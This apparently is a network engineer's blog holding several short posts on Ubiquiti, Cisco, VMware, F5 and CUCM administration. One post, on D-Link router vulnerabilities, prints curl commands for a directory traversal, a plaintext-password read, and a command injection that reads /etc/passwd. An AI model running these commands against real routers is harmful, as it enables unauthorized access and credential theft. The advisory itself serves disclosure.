The Insecure Wire

a network engineers perspective

Using Ubiquiti AirMax with Cisco dot1q Trunking

We recently encountered an issue wherein a particular training building required network access. It was actually a shed used to teach carpentry and bricklaying etc.
As this building never had fiber optic or conduit connected to it, a cost effective solution was sought after.

I decided to use Ubiquiti Networks AirMAX Prism 2 product. I was able to create a “virtual wire” from the existing Cisco Catalyst based campus network to the shed using the AirMAX Prism 2 product.
The really cool thing about UBNT gear is that is supports enterprise standards and in this case that is dot1q trunking and layer 2 protocols like CDP. Our link is only around 25 meters in distance so speed was not really going to be a problem as the Prism 2 product is 802.11AC capable at 20/40/80 Mhz channel widths. I was more interested in stability of the link over speed. Granted we were able to achieve 300 mbit – which is a good result for the staff and students working in this area.

Lets break down the components I used:
2 x UBNT Airmax Prism 2 AC radios – both come with GPS for plotting distance. Note these come with POE injectors.
2 x Ubiquiti 5GHz AC RocketDish, 31dBi (compatible with Prism 2 radios).
1 x FS.com 8 port POE managed ethernet switch POE
1 x Cisco 3702i AC wireless AP.

As shed never had any data cabling we decided to install our enterprise Cisco AP to provide network access to the building. This is why I didn’t bother with a 48 port Catalyst switch – a cheap POE switch from FS.com will do the trick. The Prism AC configuration is AP for main and station for shed side – this allows pass through of VLAN tags for dot1q trunking. Cisco AP on far end needs a specific native VLAN as it is running in flexconnect mode. FS.com managed switch supports dot1q and powers Cisco APs out of the box with out injector, you can also tag your inband mgmt vlan for the switch managed IP address.

So for around sub 3k with cabling / mounting costs we were able to extend the network to this location. Below is the Catalyst commands that uplink to the Prism2 in AP mode:
description Link to Radio Bridge
switchport trunk allowed vlan 2,3,4,10,111
switchport trunk encapsulation dot1q
switchport trunk native vlan 111
switchport mode trunk

A cool feature on the AirMAX OS for Prism is the Google maps integration if you mount the included GPS antenna on each end of the link. Below is a screen shot of the web interface that shows this mode:

UBNT AirMAX AC Prism2

UBNT AirOS GPS Feature

Multiple vulnerabilities in D-Link Routers

Released on Friday 12/10/18:

Multiple vulnerabilities in D-Link routers

Directory Traversal in httpd server in several series of D-Link
routers:
$ curl http://routerip/uir//etc/passwd
Password stored in plaintext in several series of D-Link routers:
$ curl http://routerip/uir//tmp/XXX/0
Shell command injection in httpd server of a several series of D-Link
routers:
$ curl http://routerip/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20
%2Fetc%2Fpasswd

Cannot extend datastore through vCenter Server

Today on the random VMware “feature” list – extended a datastore. So on the EMC SAN side the LUN was increased and vSphere client (vCenter) could see the extended drive. However you could not extended the datastore via the wizard.

Very interesting – quick google yeilded;
Cannot extend datastore through vCenter Server
So basically vCenter applies a filter when pulling available extents based on criteria:

1. LUNS are not used as datastores on that host or on any other host.
2. LUNS are not used as Raw Device Mappings on that host or any other host.

Solution – connect to the host directly that has the LUN and add the extend with the extend datastore wizard.

Adding system wide proxy to Ubuntu 18.04 Sever

Here’s how to do it:

Log into the CLI of your Ubuntu 18.04 server.
sudo su
sudo nano /etc/environment

Now add in your proxy variables in the following format:

http_proxy="http://my.proxyserver.net:8080/"
https_proxy="http://my.proxyserver.net:8080/"
ftp_proxy="http://my.proxyserver.net:8080/"
no_proxy="localhost,127.0.0.1,::1

Disconnect from CLI and login again for /etc/environment to take affect.

Cisco ISE Invalid MAC Address

If the incorrect format is used to import a MAC address (Cisco ISE 2.3.0.298) you can’t delete it from the endpoint identity group screen (Administration > Groups > Endpoint Identity Groups. Error is as follows:

Cisco ISE Invalid MAC

To work around this remove the incorrectly formatted MAC address from:

Work Centers > Network Access > Identities. Use the search box and trash icon to clear the mac.

Multihoming Cisco 2K FEX with 5K Fabric

Recently we moved our data centre which is a Cisco UCS and Nexus Fabric design. After a very long day moving gear and reconnecting it all back up we couldn’t understand why one of our FEX’s kept flapping from the 5K fabric. The 5K fabric is multi homed to 2 FEX switches each in its on virtual port channel. We researched the issue and found that if your doing multi homing to more than one FEX switch you need to make sure the physical interface IDs on the 5K marry up.
fex

For example:

5K-1 Port e1/29 (vpc101) -> 2K-1 Uplink Port 1
5K-2 Port e1/30 (vpc102) -> 2K-2 Uplink Port 1
5K-1 Port e1/29 (vpc101) -> 2K-1 Uplink Port 2
5K-2 Port e1/30 (vpc102) -> 2K-2 Uplink Port 2

As you can see above the 5K side is the same port number on each 5K connecting to a FEX. This fixed the flapping issue and ownership console error. Good times ensued and we could patch all our physical copper rack servers.

Connecting to a network port without sending data to it using MacOS

So the other day I needed a quick and easy way to test L4 comms to a server from a guest wireless segment. I purchased a new Macbook earlier this year (a support unix based OS just works best for networking IMO) and MacOS has the netcat tool built into the cli. To use it open terminal and type ‘nc’.

Onto the scenario – we moved a datacentre over the weekend and our WAN provider changed out the router and accidentally missed out a permit statement in the WAN-IN ACL for the guest wireless network. This meant no one could access the Cisco ISE captive portal.

So after I had the ISP add the ACL back in I used the nc command on MacOS to verify layer 4 communications to the Cisco ISE server captive portal port which is TCP/8443 like so:

nc -zv 192.168.1.100 8443

‘z’ scans for listening daemons and does not send any data just connects to the port and ‘v’ sets the output to verbose. In this case the ACL had been updated and the output comes back as successful:

MacOS Terminal

Configuring F5 BIG-IP APM Webtop with Office 365

F5 Networks make a great application delivery controller called BIG-IP also known as a load balancer. A feature of this platform is Access Policy Manager or APM for short. A licensed APM module gives you the ability to use the F5 appliances as a SSL vpn, application portal and front end proxy for various authentication. It really is quite powerful.

In today’s enterprise IT environment, pretty much everyone has a Microsoft Office 365 or Azure subscription, cloud man! Office 365 is pretty feature rich and cool to use. When you setup your on premises Active Directory environment for single sign on, you are required to install MS Active Directory Federation Services. Essentially this allows a user to login to your Windows domain and when they browse to O365 it will log them in automatically. OK pretty standard stuff.

We use the F5 APM webtop feature as an web application single sign on portal. Users can go to a URL anywhere they have Internet access and login to the SSO portal. The portal gives users the ability to change expired passwords as well, such is the power of F5 APM. Recently I integrated this feature with on premises ADFS and Office 365. We have direct icon links for the 365 Portal, Email and One Drive. Since the user is already authenticated against AD, the session can be used for 365. Let me show you how;

Before we start please note: Using a webtop with ADFS does not require you to have ADFS presented with an iapp on the F5. It just has to be on-net and accessible by the F5 self IP.

1. Under Access Policy > SSO Configurations > NTLMv1 > Create a NTLMv1 SSO Configuration as below:

2. Under Access Policy > Portal Access > Portal Access List > Create a new Portal Access List:

Set the application URI as follows (update your ADFS domain name obviously it’s not contoso).

Office 365 Portal:
https://adfs.contoso.com/adfs/ls/?wa=wsignin1.0&wtrealm=urn:federation:MicrosoftOnline&wctx=MEST%3D0%26LoginOptions%3D2%26wa%3Dwsignin1.0%26rpsnv%3D2%26ver%3D6.1.6206.0%26wp%3DMCMBI%26wreply%3Dhttps:%252F%252Fportal.microsoftonline.com%252FDefault.aspx%26lc%3D1033%26id%3D271345

Email (Outlook Online):
https://adfs.contoso.com/adfs/ls/?wa=wsignin1.0&wtrealm=urn:federation:MicrosoftOnline&wctx=MEST%3D0%26LoginOptions%3D2%26wa%3Dwsignin1.0%26rpsnv%3D2%26ver%3D6.1.6206.0%26wp%3DMCMBI%26wreply%3Dhttps://outlook.office365.com

One Drive (edit the sharepoint URL to your own):
https://adfs.contoso.com/adfs/ls/?wa=wsignin1.0&wtrealm=urn:federation:MicrosoftOnline&wctx=MEST%3D0%26LoginOptions%3D2%26wa%3Dwsignin1.0%26rpsnv%3D2%26ver%3D6.1.6206.0%26wp%3DMCMBI%26wreply%3Dhttps://contsocom-my.sharepoint.com

3. Add your ADFS server as the resource item. We are just going to pass through authentication and the user will redirect to the O365 service. Click the Add button and configure as below:

Configure host as your ADFS host name i.e adfs.contoso.com and SSO configuration as the item you created in step 1.

4. Add your Portal resource to your access profile for webtop configuration. This is completed in Access Policy > Access Profiles > Edit the policy with Visual Policy Editor.

5. Portal icons can be customized in Access Policy > Customization > General

6. ADFS requires that TLS server name indicator is set on all requests. Since we are using this with the APM webtop feature. You need to create an SSL server profile that sets the ADFS server SNI. Browse to Local Traffic > Profiles > SSL > Server. Create a new profile and select advanced. In the SNI field set the name to the ADFS server such as adfs.contoso.com.
Edit the APM virtual server under Local Traffic > Virtual Servers > Virtual Server List. Add the ssl server profile to selected.

7. An irule also needs to be created that is attached to the VIP that selects the server profile when the ADFS is accessed. Browse to Local Traffic > iRules. Below is an example.

when HTTP_REQUEST {
set sslProfile [getfield [HTTP::uri] ":" 1] }

when SERVER_CONNECTED {
if { $sslProfile starts_with “/f5-w-68747470733a2f2f616466732e636f6e746f736f2e636f6d$$/” } { #log local0. “One $sslProfile”
SSL::profile adfs-contoso }
}

Apply this iRule as a resource to your APM portal virtual server.

8. You must add the adfs server URLs to your rewrite profile that is applied to the APM portal virtual server. Add both URLs – for example:
https://adfs.contoso.com/*
https://adfs.contoson.com:443/*

So there you have it; smart linking Office 365 apps with an F5 APM webtop via ADFS.

Error 29702 upgrading VMware VCenter 5.5 to 6.0

Like most enterprise IT shops, we have a significant VMware investment. One of the requirements of upgrading to VSphere 6 is to upgrade your VCenter out of band. Our VCenter is on Windows Server 2012 with Micosoft SQL Server on box. A Windows VCenter upgrade is fairly straight forward – make sure your SQL DB, SSL certs and SSO config are backed up prior to running the upgrade. Another gotcha is to make sure you know your VCenter DB username and password prior to any upgrade. If your VCenter is a VM – then here is where a snapshot is the perfect tonic.

During the installer pre-upgrade check i had the following error:

SQL Permissions Error

SQL Permissions Error

This was resolved by running an SQL query on the VCenter DB:
use master
go
grant VIEW SERVER STATE to [vCenter_database_user]
go
GRANT VIEW ANY DEFINITION TO [vCenter_database_user]
go

The KB below details this:
https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2114754

Once I ran the installer it started to remove the existing 5.5 version but then it failed with an error, dumping the logs to the system temp directory. Upon investigation the MSI error was 29702 – unable to configure log browser. Further inspection of the logs pointed to the VSphere Web Client. So the plan of action here was to remove all 5.5 components and then reinstall them cleanly, pointing to the existing database. All of the components would uninstall accept for the Web Client – it kept giving the above error.

Enter the Microsoft Fix It utility:
https://support.microsoft.com/en-us/help/17588/fix-problems-that-block-programs-from-being-installed-or-removed

This utility allowed me to force remove the Web Client (from the Windows registry) and then proceed to installing 5.5 fresh again. Pointing the 5.5 install to the existing DB – i now had a clean VCenter 5.5. This actually took several hours to find the fix and remove and reinstall 5.5. From this point running the 6.0 wizard was a breeze and took around 30 mins, this depends on the size of your VCenter DB.

CUCM – Report on all Call Forwards with SQL

Recently I had the task of integrating two separate CUCM clusters together. One of the tasks I had was to work out how many users had call forwards set on their directory numbers so we could either keep or remove them. Call forwards can cause a monetary or management issue if not looked after correctly. Specifically we didn’t want call forwards to a main campus number to be translated to a contact center queue.download

A simple way to achieve this was to run an SQL query on your CUCM Publisher via SSH.

From the CLI;

admin:run sql select dnorpattern,cfadestination,cfavoicemailenabled from CallForwardDynamic c, numplan n where c.fknumplan = n.pkid and (cfadestination != '' or cfavoicemailenabled ='t')

This SQL statement returns all the directory numbers that have call forwards to an extension or PSTN number or voicemail. Extensions or PSTN are denoted with an ‘f’. Voicemail forward is denoted with a ‘t’. You can copy the output into Excel for easy manipulation.

Pretty simple really but handy to know.